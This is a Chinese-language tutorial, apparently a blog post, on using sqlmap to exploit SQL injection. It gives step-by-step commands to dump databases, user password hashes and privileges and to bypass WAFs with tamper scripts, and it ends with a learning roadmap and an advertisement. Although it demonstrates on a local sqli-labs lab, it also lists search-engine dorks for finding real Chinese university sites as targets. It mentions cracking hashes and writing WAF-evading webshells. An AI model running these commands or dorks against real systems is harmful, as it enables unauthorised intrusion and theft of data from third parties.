SQLmap 二、脫庫 三、WAF繞過三、其他
SQLmap是一款「自動化」SQL注入工具,kali自帶。路徑 /usr/share/sqlmap
打開終端,輸入sqlmap,出現以下界面,就說明SQLmap「可用」。
本篇文章使用本地搭建的SQL-labs靶場作為「演示」目標,其他目標可使用必應搜索以下類型的網站:
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn
快速入門;SQLmap(常規)使用步驟
1、檢測「注入點」
sqlmap -u 'http://xx/?id=1'
2、查看所有「數據庫」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看當前使用的數據庫
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「數據表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「數據」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
一、目標
檢測「注入點」前,需要指定需要檢測的「對象」。
1、指定url
-u 參數,指定需要檢測的url,單/雙引號包裹。中間如果有提示,就輸入y。
提示:SQLmap不能直接「掃描」網站漏洞,先用其他掃描工具掃出注入點,再用SQLmap驗證并「利用」注入點。
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'
掃描完成后,告訴我們存在的注入類型和使用的數據庫及版本。
2、指定文件(批量檢測)
準備一個「文件」,寫上需要檢測的多個url,一行一個。
-m 指定文件,可以「批量掃描」文件中的url。
sqlmap -m urls.txt
逐個掃描url,需要確認就按y。
掃描完一個,就會提示存在的注入點。
然后再按y掃描下一個url。
3、指定數據庫/表/字段
-D 指定目標「數據庫」,單/雙引號包裹,常配合其他參數使用。
-T 指定目標「表」,單/雙引號包裹,常配合其他參數使用。
-C 指定目標「字段」,單/雙引號包裹,常配合其他參數使用。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
4、post請求
檢測「post請求」的注入點,使用BP等工具「抓包」,將http請求內容保存到txt文件中。
-r 指定需要檢測的文件,SQLmap會通過post請求方式檢測目標。
sqlmap -r bp.txt
5、cookie注入
--cookie 指定cookie的值,單/雙引號包裹。
sqlmap -u "http://xx?id=x" --cookie 'cookie'
二、脫庫
獲取所有內容
sqlmap -u 'http://xx/?id=1' -a
-a 就是 all 的意思,獲取所有能獲取的內容,會消耗很長時間。
1、獲取數據庫
--dbs 獲取數據庫
1.1、獲取數據庫版本
sqlmap -u 'http://xx/?id=1' -b
最后面顯示數據庫的版本,這里檢測的版本是 5.7.26。
1.2、獲取當前使用的數據庫
sqlmap -u 'http://xx/?id=1' --current-db
在最后面顯示當前使用的數據庫的名字是 。
1.3、獲取所有數據庫
sqlmap -u 'http://xx/?id=1' --dbs
最后面顯示所有數據庫的名字。
2、獲取表
--tables 獲取表
2.1、獲取表,可以指定數據庫
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
最后面顯示數據庫()里所有的表名。
2.2、同時獲取多個庫的表名,庫名用逗號分隔。
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
2.3、不指定數據庫,默認獲取數據庫中所有的表。
sqlmap -u 'http://xx/?id=1' --tables
最后面顯示每個數據庫下都有哪些表。
3、獲取字段
--columns 參數用來獲取字段。
3.1、獲取字段,可以指定庫和表
提示:只指定庫名但不指定表名會報錯。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
最后面顯示表(users)中的所有字段。
3.2、不指定表名,默認獲取當前數據庫中所有表的字段。
sqlmap -u 'http://xx/?id=1' --columns
4、獲取字段類型
--schema 獲取字段類型,可以指定庫或指定表。不指定則獲取數據庫中所有字段的類型。
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
最后面顯示每個表的字段類型。
5、獲取值(數據)
--dump 獲取值,也就是表中的數據。可以指定具體的庫、表、字段。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
獲取指定庫中所有表的數據。
sqlmap -u 'http://xx/?id=1' -D 'security' --dump
默認獲取表中的所有數據,可以使用 --start --stop 指定開始和結束的行,只獲取一部分數據。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump
6、獲取用戶
6.1、獲取當前登錄數據庫的用戶
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user
最后面顯示當前登錄數據庫的用戶是 root@。
6.2、獲取所有用戶
--users 獲取數據庫的所有用戶名。
sqlmap -u 'http://xx/?id=1' --users
最后面顯示數據庫的所有用戶名。
6.3、獲取用戶密碼
-- 獲取所有數據庫用戶的密碼(哈希值)。
數據庫不存儲明文密碼,只會將密碼加密后,存儲密碼的哈希值,所以這里只能查出來哈希值;當然,你也可以借助工具把它們解析成明文。
最后面顯示數據庫用戶名對應的密碼(哈希值)。
6.4、獲取用戶權限
-- 查看每個數據庫用戶都有哪些權限。
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges
最后面顯示每個數據庫用戶所擁有的權限。這里root的權限最多,很明顯它就是數據庫的管理員賬號。
6.5、判斷當前用戶是不是管理員
--is-dba 判斷當前登錄的用戶是不是數據庫的管理員賬號。
sqlmap -u 'http://xx/?id=1' --is-dba
如果是管理員,就在最后面顯示 true。
7、獲取主機名
-- 獲取服務器主機名。
sqlmap -u 'http://xx/?id=1' --hostname
最后面顯示服務器的主機名是 DESKTOP。
8、搜索庫、表、字段。
--search 搜索數據庫中是否存在指定庫/表/字段,需要指定庫名/表名/字段名。
搜索數據庫中有沒有 這個數據庫:
sqlmap -u 'http://xx/?id=1' -D 'security' --search
需要手動選擇模糊匹配(1)還是完全匹配(2),而后返回匹配的結果。
也可以搜索表
sqlmap -u 'http://xxx/?id=1' -T 'users' --search
或者搜索字段
sqlmap -u 'http://xx/?id=1' -C 'username' --search
9、正在執行的SQL語句
-- 獲取數據庫中正在執行的SQL語句。
sqlmap -u 'http://xx/?id=1' --statements
最后面顯示正在執行的SQL語句。
三、WAF繞過
--tamper 指定繞過腳本,繞過WAF或ids等。
sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'
SQLmap內置了很多繞過腳本,在 /usr/share/sqlmap/tamper/ 目錄下:
腳本按照用途命名,比如 .py 是指,用/**/代替空格。
當然,你也可以根據內置腳本格式,自己定義繞過腳本。
三、其他
--batch (默認確認)不再詢問是否確認。
--method=GET 指定請求方式(GET/POST)
--random-agent 隨機切換UA(User-Agent)
--user-agent ' ' 使用自定義的UA(User-Agent)
--referer ' ' 使用自定義的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 設置線程數,最高10
--level=1 執行測試的等級(1-5,默認為1,常用3)
--risk=1 風險級別(0~3,默認1,常用1),級別提高會增加數據被篡改的風險。
學習網絡安全技術的方法無非三種:
第一種是報網絡安全專業,現在叫網絡空間安全專業,主要專業課程:程序設計、計算機組成原理原理、數據結構、操作系統原理、數據庫系統、 計算機網絡、人工智能、自然語言處理、社會計算、網絡安全法律法規、網絡安全、內容安全、數字取證、機器學習,多媒體技術,信息檢索、輿情分析等。
第二種是自學,就是在網上找資源、找教程,或者是想辦法認識一-些大佬,抱緊大腿,不過這種方法很耗時間,而且學習沒有規劃,可能很長一段時間感覺自己沒有進步,容易勸退。
如果你對網絡安全入門感興趣,那么你需要的話可以點擊這里網絡安全重磅福利:入門&進階全套282G學習資源包免費分享!
第三種就是去找培訓。
接下來,我會教你零基礎入門快速入門上手網絡安全。
網絡安全入門到底是先學編程還是先學計算機基礎?這是一個爭議比較大的問題,有的人會建議先學編程,而有的人會建議先學計算機基礎,其實這都是要學的。而且這些對學習網絡安全來說非常重要。但是對于完全零基礎的人來說又或者急于轉行的人來說,學習編程或者計算機基礎對他們來說都有一定的難度,并且花費時間太長。
第一階段:基礎準備 4周~6周
這個階段是所有準備進入安全行業必學的部分,俗話說:基礎不勞,地動山搖
第二階段:web滲透
學習基礎 時間:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上傳、CSRF、一句話木馬、等)為之后的WEB滲透測試打下基礎。
② 查看一些論壇的一些Web滲透,學一學案例的思路,每一個站點都不一樣,所以思路是主要的。
③ 學會提問的藝術,如果遇到不懂得要善于提問。
配置滲透環境 時間:3周 ~ 4周:
① 了解滲透測試常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中國菜刀等)。
② 下載這些工具無后門版本并且安裝到計算機上。
③ 了解這些工具的使用場景,懂得基本的使用,推薦在Google上查找。
滲透實戰操作 時間:約6周:
① 在網上搜索滲透實戰案例,深入了解SQL注入、文件上傳、解析漏洞等在實戰中的使用。
② 自己搭建漏洞環境測試,推薦DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得滲透測試的階段,每一個階段需要做那些動作:例如PTES滲透測試執行標準。
④ 深入研究手工SQL注入,尋找繞過waf的方法,制作自己的腳本。
⑤ 研究文件上傳的原理,如何進行截斷、雙重后綴欺騙(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,參照:上傳攻擊框架。
⑥ 了解XSS形成原理和種類,在DWVA中進行實踐,使用一個含有XSS漏洞的cms,安裝安全狗等進行測試。
⑦ 了解一句話木馬,并嘗試編寫過狗一句話。
⑧ 研究在Windows和Linux下的提升權限,Google關鍵詞:提權
*請認真填寫需求信息,我們會在24小時內與您取得聯系。